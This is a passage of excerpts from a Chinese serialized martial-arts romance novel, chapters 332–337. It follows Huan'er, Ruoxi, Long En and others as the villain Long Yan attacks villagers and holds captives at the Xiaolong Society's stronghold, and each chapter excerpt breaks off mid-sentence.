说着喊着,见那连人带马却是越喊越远,根本就没有半点儿停下来道歉的意思。欢儿气呼呼地不经意将眼睛一斜,索性便俯身下去捡起道旁的一粒石子,稍瞄了一眼前方,继而便大力狠狠地朝那后面的一匹马的屁股上丢了出去。 平日里,她辛勤劳作的菜园总是被一些喜欢到处游荡觅虫来吃的笨鸡光顾,使她早已练就了一副打鸡的好身手。曾经更是无数次仅仅只用一块土疙瘩,便可让那雄赳赳气昂昂而来的大笨鸡们连瘸带拐地急奔着落荒而逃。 果然,那粒石子飞出去没一会儿,便有一阵马嘶声在夜空里响起。 “哈哈哈…哈哈哈…让你个睁眼瞎畜牲跟着你那不长眼的主人到处横冲直撞,本姑娘今儿个就让你好好尝尝我的石子飞弹。”欢儿掩起嘴来,顿时笑弯了腰。 老妇人掏出帕子来借着月色稍微蹭了两下身上的泥土,便赶忙过去出手将欢儿拽了回来,忧心忡忡地道:“欢儿莫要淘气!这段时间,村子里接二连三来了许多陌生人,怕是后面还有更多。看样子,天下怕是有什么大事要发生了?或许,是我们主仆俩该离开的时候了!” 闻此,欢儿脸上的笑容顿时僵住,呆呆地看向老妇人的脸,吃惊又不解地道:“离开?这八年来,我们一直住在这里,不是很好吗?为什么要离开?” 老妇人朝着四周扫了一圈,凝视着眼前夜色下,一片壮丽宁静的山水画卷,遂意味深长地说道:“人生四然,来是偶然,去是必然,尽其当然,顺其自然。清风朗月,大好河山,十里桃林,与世绝隔,这里确实不失为一个能洗尽铅华,让人看淡世事沧桑,忘记尘世间纷纷扰扰的好地方。不知不觉八年已过,如今要离开,老身也很是不舍。但总不能因为我们,牵连这里的大地被马蹄肆意践踏,无辜的子民亦不断被无端骚扰……” 未及老妇人将话说完,欢儿着急地将其打断道:“那些红衣壮汉不会再来了,秦王亲自出马,这次一定会将那些人全部俘获的。” 老妇人注视着欢儿那双水汪汪天真的大眼睛,叹了口气,温柔地抚着她的发髻道:“傻孩子,即使没有骁龙会,日后还会有这个会,那个帮,别个派。这片大陆一日得不到统一,各国里便会有越来越多野心勃勃之人揭竿而起,百姓便永远都得提着脑袋如履薄冰般活在水深火热之中,你懂吗?” 闻此,欢儿终是再也无言以驳,默默地垂首下去,一脸凝重地若有所思起来。 老妇人轻轻摇了摇头,取下套在欢儿臂弯上的竹篮,拖着欢儿一边往前踱步,一边道:“既然避世做不到,索性那便回去面对吧,也是时候该探望探望老朋友,好好算算八年前的账了!” 欢儿跟随着老妇人的脚步,嘟囔着小嘴闷声疑惑地道:“老夫人,您在说什么?欢儿不明白?” “欢儿,你难道不想去看看外面的世界吗?”老妇人转念淡淡地笑着问欢儿。 “我……”欢儿似是隐隐有些什么难以言表的顾虑,或许她自己也说不清。也许是因为这里有她爹娘的坟冢,至少每当开心亦或难过的时候,她还可以去对他们说说心里话,又或许,她还想等那个救她于危难之中的翩翩公子回来,还或许…… 见欢儿久久都不吱声,老妇人便故意试探着问:“你莫不是想继续留在这里?也好,那我便将你托付给老族长悉心……” 闻此,欢儿忽地回过神来,疾步上前拦在老妇人面前,激动地脱口即出:“欢儿的命是老夫人救下的,老夫人去哪里,欢儿便去哪里,欢儿不要留在这里,老夫人不要将欢儿一个人丢下。” 老妇人顿时扭头掩起嘴来,向着一边嘴角微微上扬,心下里暗自一个窃喜,继而又颇为认真地对她严肃道:“欢儿,老身知道,你是舍不得你爹娘。但是他们已经死了,你该重新拥有自己的打算和生活才是。你老实回答老身,你是不是,还在等那位陆公子?” 欢儿自以为一直被她小心翼翼珍藏着的少女心事,竟被人就这样赤裸裸地发现了。顿时六神无主地不知该如何应答,只低低地垂头下去,红着脸支支吾吾地道:“老夫人,我……” 老妇人轻轻捉起欢儿的一双如凝脂般的玉手,端详了片刻后,道:“你是老身一手调教出来的,你的心思,老身怎么会不知?眼看着再过两年,你也的确该出嫁了,老身还想为你找个好归宿呢。你放心,你一定会再见到他的。只是…到时候,希望你不会失望。有时候,我们所见到的,未必就是真实的。于人于事,大概都是这个道理。” 听了这席话,欢儿顿时来了劲儿,伸手麻利地卸下了老妇人臂弯上的竹篮,一脸欣喜地道:“让欢儿来吧,欢儿其实什么都不求,只要能再见那位公子一面,欢儿就 第三百三十二章:擦肩而过 这一路,龙恩最终还是越来越深地陷入到自己一手所造成的纠结之中,直到现在亦是如此。也正因此,所以易三少路上的每一句有意无意的警告与催促,都使他更加深感惶惶不安。 没错,他虽然与他俩口中所说的什么尊贵公主,衣府大小姐相交甚浅,但是却足以让他为如此一个心怀宽广又温柔善良的女子彻底折服。所以,他才会在临走时将整个骁龙会最大的权力暂时托付给她。 此时,龙恩已完全不再顾忌易三少的感受,兀自牵起马来走到一旁的小河边上,心情复杂地自顾自坐了下去在河边的草丛上,饮起马来。 瞥到易三少与梅志煊俩人肩并肩亦一道下马朝他近身走过来,龙恩兀自摘下随身携带的酒囊来将其揭开,饮下一大口后没好气地扬声气道:“你们这些天生好命的皇室继承人,真以为这些金银是万能的,能帮你们换回所有一切失去的东西么?既然那名衣姑娘对你们都如此重要,为何不将她好好珍惜,却让她独自一人遭遇如此不幸,流落在外,受尽苦楚呢?” 这句话表面上貌似是说给迎上来的那二人听的,可又何尝不是说给自己的呢? 岂料易三少听了这席话,竟瞬间变得温和了下来,朝其背影怔了片刻,继而亦走了过去撩起袍角,在其身边席地而坐了下来,幽幽道:“这位大哥,我想在这个现实世界里,的确让人很难相信有人能完全做到视金钱为粪土的境界。但是,为了丫头,我真的愿意付出所有一切,什么都可以。” 易三少目光坚定地看向龙恩的侧脸:“一路上,并不是我有意喋喋不休激怒于你,而是我真的很担心她,从来都没有一个女子如此走近过我的世界。虽然我知道,她心里未必有我。可是,这一生,只要能够呆在她身边,想要看她的时候能看她一眼,说几句话,知道她过的很好,就已经够了。人的一生其实并不长,可我心甘情愿这样默默为她守候。这种心情与决心,大哥若是曾经也有过,一定会明白!” 此话一出,龙恩终于有些吃惊地看向了他的脸,没想到这样一个潇洒不羁的人,竟有如此深沉的一份心思。似是在这一刻,俩人都产生了某种共鸣一般。遂又各自一同一脸忧伤与黯然地沉默了下来,陷入各自凄凉的回忆里。 稍时,只见龙恩又饮下一口酒,继而默默地举起手里的酒囊来将其递到了易三少的面前,易三少一将其接过去亦闷声饮了一口,拭了拭嘴角,转而又将其递向了玉立在他身旁,一直昂首沉默寡言着的梅志煊手中,深看了他一眼。 长剑一杯酒,男儿方寸心。或许,这便是男人的世界吧。 又过了一会儿,易三少缩了缩那好看的桃花眼眼角 ,愣愣地盯視着河面上伴随着夜风所泛起的一层层涟漪,忽然恨恨地道:“若不是因为那个北烈国贼人,丫头也不会遭此一劫,这全都是拜那奸人所赐。若是再让我遇到他,我非扒了他的皮,抽了他的筋不可!” 看到易三少如此愤怒,龙恩朝其看了过去疑惑地问:“北烈国贼人?” 易三少道:“就是心怀不轨潜入西秦里来的北烈国大皇子,拓跋泽,那日就是她将丫头逼落悬崖的。这笔账,这辈子他都别想还清。” “北烈国皇子...拓跋泽,北烈国竟也渗入了进来……”就在龙恩闻此正惊诧地低眼喃喃自语暗自思量之际,三人忽闻从暗夜里传来一阵马蹄隆隆声。 那声音越来越近,干净儒雅的梅志煊星眸微转,顿时警觉道:“有人来了,快躲起来!” “这么多红衣壮汉如此匆匆忙忙摸黑赶路,是从何处而来,又欲往何处而去?会不会就是传闻中,隐藏在你南安国边境的骁龙会组织?他们晚上跑到西秦境内来做什么?”河边一高高的芦苇丛后,梅志煊低低地俯身,看着眼前的红衣队伍,望向易三少的脸疑惑地道。 “什么骁龙会?在我南安境内做什么?我怎么从未听过?”易三少向来对南安朝中之事不闻不问,此刻自是极为吃惊。 闻声,同样俯身隐在易三少另一旁的龙恩一言不发,顿时垂头下去,显得有些心虚了起来,然却依旧隐藏地极好。 借着一片微微的月光照射,他只能看到那一片显眼的红色,似是隐隐约约瞧着那高大骏马上领头的人并不像是龙烨的身影,倒有些气质不凡。于是,心里顿时有些惶惶不安起来,暗自问道,莫不是骁龙会里发生什么事了吧? 所幸还好队伍的人数不是太多,就在那俩人猜忌议论之间,队伍很快便从三人面前不远处一晃而过了去,龙恩也总算是长长地舒了口气。 见易三少与梅志煊二人似是仍然尚还在兴趣不减地热议着,生怕这俩人半路又生出什么念头来,龙恩忙开口将其打断道:“好了,我们继续赶路吧,晚了怕是就……” 许是因为心虚,龙恩竟没有意识到那红色队伍后面远远地还跟着俩人,嘴里的话刚一开口,梅志煊眼疾手快地忙伸手将其打断道:“嘘,等等,还有俩个?” 伴随着一阵马蹄嘚嘚声越来越近,三人的眼睛亦随其瞪的越来越大。 那随后而来的俩人便是远远跟在轩辕翰身后的拓跋泽与其侍卫俩,许是因为这两日不眠不休,日夜兼程地赶路实在是有 第三百三十三章:故技重施遭识破 看着若曦跌跌撞撞地起身来,年长守卫忙上前将她扶住劝道:“姑娘,我们不必去了。” 闻此,若曦惊诧地侧过身去,看向年长守卫若无表情的脸,愣了一瞬,心中顿时似有一种不好的预感涌上心头,遂不明所以地连连朝其惊问道: “为什么?为什么不必去了,到底发生了什么?我...我昏迷了有多久了?难不成是...是我昏迷的太久,错过了时辰,村民们已经惨遭…...” 似是都不敢继续往下想去,她渐渐握紧了一只愤怒的拳头来砸在了身旁的树干上,连连摇着头自言自语道:“不可能,不可能,那可是一个个鲜活的生命呢,怎么能说杀就杀,说没就没?怎么能这么残忍,他们怎么能这么做...这不可能……” 看到若曦已然凭着自己的揣测激动不已,年长守卫忙拿起一旁方才特意出去为她灌满的水囊来上前近身过去,从其侧边将其递到若曦面前,关切道:“姑娘喝些水吧。” 然若曦却看都不看那水囊一眼,只自顾自无力地摇头说道:“我不想喝。” 话音刚落,继而又神色黯然地缓缓平摊开两只手掌来,呆呆地凝视着。 一想起这几日来所发生的一切,此时忽然发觉自己的力量竟如此弱小,忍不住自言自语地低声懊恼喃喃起来:“原来,面对那些人,我竟是如此之无力,什么都做不了?甚至还连累他们为我而受累。我就连他们都保护不了,又何谈什么守护西秦,守护这个天下,难道我就是这样懦弱无能的一个守护者吗?” 年长守卫看到她此时眉宇间深锁着的那似是永远都散不开的愁思,以及俨然一副灰心气馁的模样,眼里不禁露出了一抹心疼。 于是,他轻叹了口气,绕道她的面前鼓励安慰道:“姑娘,你已经做的很好了。至少无论多么艰难,你都没有放弃过任何一个人。你要相信守护者的力量,它一定大有玄妙,你只是需要时间去寻求其真正奥妙,比如,你的那只手镯…你务必努力使自己变得更加强大起来。” 闻此,若曦转而默默地轻抚起手腕上的镯子来,呆呆地重复道:“使自己变得更强大起来……” 年长守卫对其点了点头,顿了顿,方道:“其实…那些村民们,他们并没有死,他们毫发无伤,全都好好活着呢!” “什么?你说什么?”闻此,若曦这才眼前顿时一亮,猛地抬起头回过神来,兀自瞪大双眼凝视着年长守卫的脸,一脸难以置信地朝其惊声问道。 年长守卫遂想了会儿,幽幽道:“因为西秦秦王忽然出现,阻止了龙烨,使得村民们免受一场灭顶之灾的浩劫。就连龙烨手下的头领亦被秦王的副将神不知鬼不觉地便一剑削了脑袋 ,就地正法了。” 年长守卫说着说着,忽然侧过身去朝着一旁的灌木丛里厉声喝了一声道:“还不快出来!” “他是……”黑夜里,看到从灌木丛后猛然走出来一名高大的骁龙会红衣壮汉,若曦不解地道。 “方才在姑娘昏迷的时候,我出去河边找水,看到龙烨的队伍已经从村子的方向回来了,却又不见龙烨本人,便悄悄将跟在队伍最后面的这个人劫了回来。一问,这才从他嘴里得知了这许多。” 年长守卫话刚说完,便朝那早已战战兢兢的红衣壮汉腿弯上狠狠地踢了一脚,将其踢跪在地上,怒斥道:“还不快将你所知道的一切通通全都说出来?” 于是,那红衣壮汉便乖乖将在村子里如做梦一般所经历的一切于若曦当面娓娓道来…… 听了红衣壮汉所说的一切,若曦看着他的脸惊呆了,暗暗庆幸还好百姓们有如此一位如及时雨一般的王爷,还没来得及思量其它,却又蓦然惊觉地先问了他一句:“那龙烨呢?” “龙烨当时似乎不敌秦王那副将的剑法,逃跑了,秦王的副将亦追了上去。”那红衣壮汉回道。 若曦听后缓缓转过身去,呆呆望着月光下泛着粼粼光波的河水面上默想了会儿,忽然皱起眉头猛地转过身来注视着年长守卫的脸,惊声道:“糟了,龙烨一定是逃回骁龙会老巢里去了,他们几个有危险,快回去!” 说着,便大步流星急奔过去上到了马背上,策马扬鞭,于一片淡月笼纱的包裹之中,就这样迎着冷飕飕的夜风全力往骁龙会方向急赶回去。 眼看着夜色越来越淡,骁龙会石门外寂静宽阔的湖面上到处弥漫着的虚无缥缈的层层迷雾,也已经开始在一缕缕渐渐抽散去,破晓之光跃跃欲试着似是早已按捺不住,迫不及待地想要随时穿透那厚厚的云层倾泄下来。 骁龙会里,东苑若曦的后院,屋内一盏昏暗的烛火照耀下,兰香正寸步不离地守在冷峻男子的床前,闭目养神着。 “小姐,你回来,你不要再离开燕儿了,回来,回……”屋子中央,燕儿固执地支着下巴于一圆形案几边上忍不住不停地打着盹,嘴里还时不时发出着梦魇一般的声音来,一次次轻唤着她心心念念的小姐。纵使兰香劝了不知道有多少次,却始终都不愿回到房里去好好休息。 就在这时,忽然从外面传来一阵隐隐约约似是有些嘈杂 第三百三十四章:后会有期 眼看着忽然之间,十几名红衣壮汉挥舞着手里铮亮的大刀朝着三人身边一齐如狼似虎般地猛扑攻了过来,那年轻守卫握紧了拳头一咬牙,嘴里朝着人群中大喝了一声道:“休想!” 顿时,便只见他亦举刀霍霍着,只身冲了上去,兀自与一众十几名个个比他高大凶猛数十倍的强健汉子厮杀了起来。身旁的兰香与燕儿,惊恐地忙退后几步躲闪到一旁的树丛后,隐身了起来。 年轻守卫虽然年纪不大,左不过十五、六岁而已,然其刀法却很是难得的凶猛刚键、又潇洒飘逸。 一招一式中,节奏迅捷、刀法紧密、翻转跳跃之间技法亦是尤为多变。劈、砍、斩、剁、削、截、撩、挂、拔、压、绞、错等并穿插着各种步型步法。人随刀走、刀随人行、身形翻转。 只见其手里的刀光闪烁之间,如银龙穿云绕雾,转眼便将那十几名大汉全都一一撂倒在地,捂着胸口嗷嗷直叫,似是很难再爬起来。 然就在其双脚刚刚从腾起的半空中触碰至地面上时,忽闻身后发出一极具阴险的声音道:“嗬...看不出来,你这乳臭未干的臭小子身手还不错嘛!” 闻声,年轻守卫顿时转身瞪大了眼睛朝着发出声音来的方向看去。方见原是红衣壮汉头领正手里捏着两只如同惊弓之鸟一般,被掐着脖颈半点儿也说不出话来瑟瑟发抖着的兰香和燕儿。 女子身后还各有一名其手下用锋利的刀尖紧紧抵着两名女子的左后肩。 年轻侍卫一见,遂心头一紧,急上前两步顿住朝那名壮汉头领怒喝道:“放开她们!” 可那红衣壮汉却似是一点儿也不惧怕他,还威胁其道:“若是不想她俩就此当场毙命的话,就赶快放下你手里的刀来束手就擒。你真以为,就凭你,便能带着这俩个臭丫头杀出重重防守严密的骁龙会?真是自不量力!” 闻此,只见年轻守卫将手中的大刀握的愈来愈紧,眉头紧蹙着微微缩了缩眼角,似是仍未放弃地在到处寻找着一线生机。 片刻后,见两名女子已然被禁锢在那壮汉的手里憋地快要窒息,最后“哐当”一声,大刀终是落在了地上,发出一阵极清脆的响声来。 顿时,便有数名壮汉一齐涌了上来将三人牢牢按住,一道押了下去。 这时,那头领高举起手里明晃晃的大刀来肆无忌惮地又对众人发号施令道:“速速前往东苑里去仔细搜查拿人,决不能放走一个!” …… “龙烨,你已经无处可逃了,不要再做无谓的反抗,竟胆敢公然带人闯入我西秦内残害我西秦百姓,还不快随我回去向秦王殿下认罪!或许,殿下还会留你一命!” 破晓时分,骁龙会附近的一处断崖边上,程良 彻夜步步紧追,终于将精疲力竭的龙烨堵住,逼在了距离骁龙会不远的一处绝境上,似是已无路再逃。 然龙烨此时虽狼狈不堪,却依旧背朝着断崖看着程良的脸对其所言轻蔑地冷哼一声,露出一抹狡黠的笑来,迎着风挑眉扬声叫嚣道:“哼,想你便就是那秦王身边最忠实的那条狗,程大将军了吧?果然有两下子,身手还不错。不过,话不要说的太早,眼下这里可是我骁龙会的境地,鹿死谁手,还不一定呢?” “死到临头,还敢口出狂言,看来,你是真的不要命了!既然如此,本将军这就先成全了你的心意,再去讨伐你那一众兄弟。” 就在程良对其劝降不成,继而冷笑一声,说完这番话,正欲抽剑跃起身来上前朝其攻去时,龙烨忽然一脸严肃地伸出一手来,紧张地朝其警告道:“不要动!” 程良闻此即刻顿足停了下来,僵住了全身的动作,隐隐感觉到脚下似是有些不同寻常,便小心翼翼地屏住呼吸问:“是什么?” 龙烨遂阴险地笑着道:“你的脚方才那微微一动,恰好踩在了我骁龙会在此地所秘密布置的机关上。你若是敢将脚抬起离开地面半分,这布在你周围的足以将这方圆百里瞬间夷为平地的火药便会全部被引爆。不信的话,你可以试试看?” “龙烨,你……”程良闻之即刻恼羞成怒,没想到竟中了眼前这个狡诈贼人的引诱,进到了其埋伏里。 就在这时,龙烨缓缓朝其迈步过来,近身到其耳边,轻声挑衅道:“怎么样?程大将军。方才,本帮主就已经说了,这里是我骁龙会的地盘,鹿死谁手,还不一定呢?不过...如果你愿意誓死为本帮主效力的话,本帮主看在你尚且还有几分能耐,倒是可以考虑放你一马,怎么样?” 程良斜眼怒视着他,对其嗤之以鼻,不屑一顾地厉声脱口既出道:“龙烨,你休想,我程良今日就算死在这里,也绝不会助纣为孽,与你同流合污,残害无辜的百姓!” 看到程良一脸决绝,丝毫不为其语所动容,龙烨无奈地背对着他暗自想了想,说道:“好吧,看来你也是个对主子忠心耿耿之人,且念在你也算是一条好汉的份 第三百三十五章:是她? “殿下亲自来了?”孱弱男子顿时停下来脚步,瞪大眼睛惊诧地朝程良问道。 程良亦缓缓止住步来朝其微微点了点头,两人四目对视了一瞬,见卫宁不知为何突然闷哼了一声,遂顿时面露起一副痛苦之色,程良以为是受了什么伤隐隐作痛,遂上去将他的一只胳膊轻抬了起来,架在自己肩上,与其一边继续走,幽幽说道: “殿下此次出来,原本是为了在附近寻找...一名女子。不想竟意外遇到了龙烨带人正在残害桃花店村的村民,我这才一路追捕他至此,没想却中了他的圈套。如若不是你及时赶到的话,此次我恐怕就真的在劫难逃了。没想到,这骁龙会竟然真的对我西秦国虎视眈眈,蠢蠢欲动。只可惜,这里是南安国的境地,若是冒然举兵,怕有欠妥,只能等会儿见到殿下后再请殿下定夺了。” 程良说完,抬头看了眼无边的天空。夜色已尽,东边的天色已经见白,山林里早起的鸟儿亦已经开始欢快婉转地歌唱起来。然而,此时他却眉头深锁着轻叹了口气,陷入了无边的思绪中。 卫宁轻倚着程良,另一手附在腰间一边走,一边静静的听着,暗自思量了片刻后,忽然皱起眉来有些吞吞吐吐地道: “将军…其实…根据属下多日以来对骁龙会的查探,那帮主龙恩隐藏的颇为深沉,似是一点儿也看不出对我西秦国是何居心?平日里,他只是颇为关心其手下的操练进展。他是一个十分内敛的人,与锋芒毕露的龙烨完全不同。他从来都不许骁龙会的人出去到处骚扰周边的百姓,看起来,俨然一副正人君子的模样。” 闻此,程良深感不可思议的惊诧道:“哦?那龙恩果真隐藏的如此之深!” 卫宁点了点头,忽然想起方才程良的话来,此时似乎瞬间恍然大悟了过来,道:“刚才听将军的意思,似乎并没有收到属下所传递出去的消息。如此想来,怕是早就已经被龙恩的人发现了,所以才会...咳咳咳……” 卫宁说着说着,忽然重重地咳了起来。程良顿时心下里一紧,方才撇了他一眼,这才见他不知何时,竟已满头虚汗,一脸苍白,吃力地用手紧紧按压着腹部,便忙驻足下来急急朝他的身上仔细打量看去。 目光一锁定到那从其手指缝里渐渐渗出的鲜红血迹,忙附手上去将其手拽开,遂瞪大了眼睛惊愕地道:“你的伤…这是怎么回事?” 因为本就极其虚弱着,方才挪动大石又吃了些力,卫宁此时已然再也忍不住这份钻心的疼痛,上下牙齿直不停地打着架,弱弱地回道:“属下是因为救一个叫兰香的女子逃离骁龙会,方才被人刺的……” 话音未落,程良将其扶到一旁的岩石上坐下刚 开始重新包扎伤口,闻此忽然抬起头来疑惑地重复了一句:“兰香?” 卫宁倒抽了口气,显得甚是吃痛地点了点头,道:“兰香是被龙烨的人强行抓到骁龙会里的,险些就遭了其毒手。后来,属下被刺伤关进了一个神秘地牢里,就在万念俱灰只求痛快一死的时候,幸亏被一位医术高明的姑娘相救,这才得以保住了这条性命。” 程良听了这一切,早已惊呆了。片刻后,稍一回过神来来,声音竟似是都有些微微发颤地问道:“兰香…是不是与她一起的还有个叫燕儿的小丫头?” 卫宁忽见程良如此反常的举动不明所以,只愣愣的盯视着他的眼睛,沉声回答道:“兰香与燕儿是一起被抓的,看她们俩形影不离的亲密模样,应该是早就认识的。” “那如今她们俩个人呢?”程良一听忙着急的问。 卫宁想了想,亦有些疑惑不解地道:“本来我们已经都逃离了那个密牢,可属下当时伤势太重,后来昏迷了过去。一醒来,也不知道究竟发生了什么?他们所有人一个个竟都不见了。属下想,他们一定是怕被龙烨再次抓到,已经被人先带着逃出骁龙会去了吧!属下既也已暴露,索性便也乘机逃了出来。这才在半路途中,看到了将军的身影匆匆而过,便追了过来。” 见到程良半蹲身下去在其身旁一脸怔愣,一双正在打结的手像是被钉住了一般,僵住了手里所有的动作,若有所思地独自沉默了起来,卫宁终是不解又好奇地在其耳边轻唤了好几声:“她们到底是什么人?将军为何如此紧张?…将军,将军……” 闻声,程良蓦然回过了神来深看了他一眼,这才继续起了方才接下来的动作,道:“她们俩,一个是在帮殿下找那位姑娘的人。另一个,是那姑娘的贴身丫鬟,亦是千里迢迢为了寻她的小主人而来。前几日里,有人来报,说她俩一起偷偷溜了出来寻人,失踪了。本就怀疑着是不是被骁龙会的人抓了?还未来得及联系你探问,便半路发生了这些事。没想到,她们竟还真的在这里。不过,她们俩个弱女子…逃的出去吗?” 卫宁这才明白了过来,继而转念劝慰其道:“原来如此…将军放心吧,护送她俩的是龙恩身边最好的守卫,知己知彼,想来一定不会有事的。” 稍顿了下,卫 第三百三十六章:诱惑不成终羞怒 龙烨前脚刚回来,便有手下上来禀报有密牢里的逃犯逃了出来被捕。于是,还未进到东苑里,便直接转头脚步匆匆地亲自前往密牢里查看。 没想到,里面竟早已经是人去牢空。就连最秘密的一处地牢里所关着的那冷峻男子,亦不知何时早已神不知鬼不觉地不见所踪,遂当即怒不可遏,即刻命人将所有密牢看守全部绑了起来拉至骁龙堂前听候发落。 眼下,这些跪地求饶的密牢看守们,俨然即便是现在亦仍旧个个都甚感稀里糊涂的。 若不是被绑的时候有人告知俩个女子被捕的消息,所有人还都以为在那般暗无天日、密不透风、阴暗潮湿、毫无生气的地牢里的那些人早已经渴死、饿死、亦或伤病不得治断了气了。 恐怕还早已开始被不知已饿了多久的蚂蚁、蟑螂和老鼠美美地开始了饱餐,将其啃食地就连骨头都不曾剩下呢! 而高台上一脸怒色,此时听了那负责密牢看守头领的疑惑与乞求,龙烨的心里又何尝不是同样深感诡异呢? 这密牢自从被发现以来,其唯一被他视若珍宝的钥匙便时时刻刻从未离开过他的身上,就连睡觉都是带在身边的,旁人根本无法接近获取。 况且,地牢里的这副锁,从外形上看起来似是极为平常普通。 可曾经当他从龙恩的手里将其接过的时候,为了验证这密牢的隐秘和坚固性,他特地亲自寻遍了整个灵空大陆所有有名的锁匠高手,每人依照其规格仿制了一把。然回来后,却是没有一把能将其打开来。 那么,他们到底是从哪儿进进出出的呢? 一念至此,龙烨越想越气,忽然猛拍了一把椅子扶手,咆哮怒吼了一声道:“来人,把那三个叛徒押上来,本帮主就不信,真没办法撬开他们的嘴来。” “放开,你们放开我!”很快,伴随着一阵女子尖锐的挣扎声传来,便见兰香、燕儿与年轻守卫三人一齐被绑着押了上来。 继而又被几名红衣壮汉大力地推了一把,接着便已被按压跪倒在了龙烨的面前,那伙密牢看守的前面一排。 龙烨遂眯起眼来挨个儿细细打量了一番面前的三人,最后将目光落到了年轻守卫的脸上。 望着他默了会儿,遂缓缓站起身来,抖了抖袍上的灰尘,继而双手负后着深吸了口气,兀自从彰显其尊不可犯的高台上一步步踩着石阶走了下来,近身到其身旁深看了正垂首俯身的年轻守卫一眼后,继而又在其面前开始走来走去地踱步起来。 “啪”的一声。 龙烨竟忽然间毫无防备地猛然转身,将一记重重的耳光狠狠地拍在了那年轻守卫白净稚嫩的脸上,继而一手负后,一手指着他的鼻子咬牙切齿地破口怒骂道: “好一个吃里扒外的东西,好大的胆子,竟敢密谋外人进入我骁龙会的密牢禁地中,将所有重犯全都放走,你可知该当何罪?还不速速将你们是如何潜入密牢之中,以及其他人的行踪全都一一招来,更待何时?” 见此,燕儿惊的眼睛顿时扑闪了两下,身子一歪,顺势直紧紧向着同一排跪在俩人之间的兰香身上倾倒了下去。 兰香忙用力支撑将身子一斜,稳稳地接住了她,对她轻声道:“有我在,燕儿别怕!” 闻此低声细语,龙烨转而深瞪了兰香和正倚在其肩上的燕儿一眼,道:“还有你们这俩个贱人,等会儿本帮主再与你们好好算这笔账。” 话一说完,便又看回到了年轻守卫的脸上。 只见那年轻守卫铮铮铁骨,歪着脸朝身旁的地面上用力地啐了一口嘴里的鲜血,尔后缓缓转过头来盯視着龙烨的眼睛,坚定地道:“要杀要剐,悉听尊便,我问心无愧,无话可说!” 龙烨见此,顿时嘴角一抽,皮笑肉不笑地道:“嗬,看不出,你一个乳臭未干的臭小子,竟倒还是个难啃的硬骨头。好,有志气,本帮主喜欢。” 说着,便昂起头来扫了一眼眼前广场上浩浩荡荡的一众手下醒目的红色队伍,遂拂了拂衣袖,大摇大摆地阔步上前回到高台之上坐了下来,两脚微叉开,振振有词道: “正所谓‘千里之堤,以蝼蚁之穴溃;百尺之室,以突隙之烟焚。’我骁龙会自成立至今,从未出现过叛徒。而近日里,却频频总是揪出这些个害群之马。今日,若不严肃处置,怕是即将到来的大战未到,骁龙会内部便已经溃败地体无完肤了。” 说着说着,他垂首佯装着重重叹了口气,似是颇为惋惜和失望的样子。稍作沉默,打起精神来又继续道:“我们的队伍,不是一群乌合之众,一盘散沙。我们之所以平日里训练有素,是为了有朝一日,我们要众志成城,举刀杀入西秦皇宫,取了那昏庸无能的璟帝老儿的性命,名正言顺地称霸天下。尔今,却出现了这样的老鼠屎,是不是理当人人诛之啊?” 话说至此,龙烨顿了顿,见一众手下正聚精会神地聆听自己所言,便乘势言明其真正本意,诱惑那多数尚还不愿完全以自己为马是瞻的人道:“今日,谁若是能手刃叛徒,取了他的项上人头。他日,我龙烨登上大宝,一定先封他做个开国大将军,赐其黄 第三百三十七章:主未醒,仆难离 “噗”燕儿闷哼一声,口中喷出一口污血,脸上顿显表情痛苦,沉沉的身子摇摇晃晃了两下,缓缓从兰香的眼前划过,仿佛一颗流星坠落一般,闪烁着耀眼的光芒重重地倒在了地上。 顿时间,偌大的广场上除了龙烨依旧怒目而视向其所掷出的飞镖击中的人之外,在场所有人一时间里即刻全部僵住,变得鸦雀无声。 “燕儿……”半晌后,兰香的脸紧贴在地面上,侧躺在燕儿身旁不远处,朝其瞪大着眼睛,看着依旧被牢牢捆绑着的倒在自己面前痛苦不堪,奄奄一息的燕儿肩头所渗出的大片血迹惊呆了。似是极不敢相信自己的眼睛,嘴巴一颤一颤着愣愣地道。 这支飞镖,刚刚明明就是因为他激怒了龙烨,朝着自己而来的,可如今,却为何会扎在了燕儿的身上?遂脑子里迅速一个回放,这才想起来原是方才燕儿大力地将她撞倒在地,而自己却来不及闪躲,被那支飞镖击中。 于是,兰香忙艰难地挣扎起身来跪行两步上前,到了燕儿的身旁,俯身下去惊愕地朝其哭着道:“燕儿,傻燕儿,你怎么这么傻,为什么要替我挡那只镖呢?” 话刚说完,她举头向着一旁的众壮汉喝道:“放开我,快放开我,你们这些冷血无情的木头人……” 见一旁所有人都怔愣着,却是不得令,谁都不敢轻举妄动一下,兰香咬牙怒瞪了周围这些冷漠的人一圈,终是无奈地满含着眼泪继续俯身下去在其耳边呼唤她:“燕儿,燕儿,你坚持住,一定要坚持住。一定会有人来救咱们的,一定会的,你一定要坚持住。” 虽然嘴上在鼓励着燕儿,然其实就连自己的心里也是没有一点底的,着急之下,她仰天长问:“老天爷啊,你这是怎么了,有什么报应,你全都冲着我来啊,为什么要伤害她呢?” 年轻守卫一见,顿时扫向一旁方才羁押三人上来的与他同样一般年龄,此时似是有些被眼前的凄惨情景所动容的另一红衣壮汉大声呵斥道:“还不赶快给我松开!” 然那人却一横见龙烨射来的如千万支利箭般寒光四射的眼眸,被吓得立马低低垂首了下去。 就在三人俱都绝望无措之时,院门口忽然传来一女子惊愕的声音:“燕儿……” 闻声,广场上几千人顿时将目光齐刷刷全部朝其方向聚集了过去。 却先见年长守卫很快绕过了那女子身边冲了进来,疾奔上前过去怒冲冲地一挥起手里的大刀,便砍断了那禁锢年轻守卫与兰香的绳索捆绑。 年轻守卫一挣脱束缚,忙起身来惊声道:“师父,你终于回来了,我……” “快带他们离开!”年长守卫立刻将其打断,一吩咐完,便飞身上到了龙烨正所在的高高在 上的高台上,举刀霍霍与其及几名其心腹以少敌多对打了起来。 只见他上窜下跳,时而避,时而攻,三拳两腿,挥刀一扫,那些个酒酿饭袋手下便都被其一一相继打落下了高台去,丢盔弃甲趴在地上抱头直哭爹喊娘了起来。 不得已,龙烨只能被迫亲自出来应战。 此时,他正用一柄利剑似是有些吃力地抵住年长守卫向他劈下来的刀刃,侧脸朝着高台下的众人发号施令道:“还不快动手,都等什么呢?本帮主不许这些叛徒中的任何一个活着离开骁龙会。” 于是,台下的众虾兵蟹将们便犹犹豫豫地纷纷抽刀高高举起。 正欲冲出作战,若曦紧忙从袖兜里掏出了龙字金牌亮了出来,上前两步挡在了所有人面前,颇具气势地高声道:“龙字金牌在此,谁敢妄动?我以龙帮主的名义命令骁龙会所有人,立刻把龙烨这个恶贯满盈,试图分裂挑拨骁龙会众心,到处煽动是非,图谋不轨的奸贼给我拿下,待龙帮主回来亲自处置!” 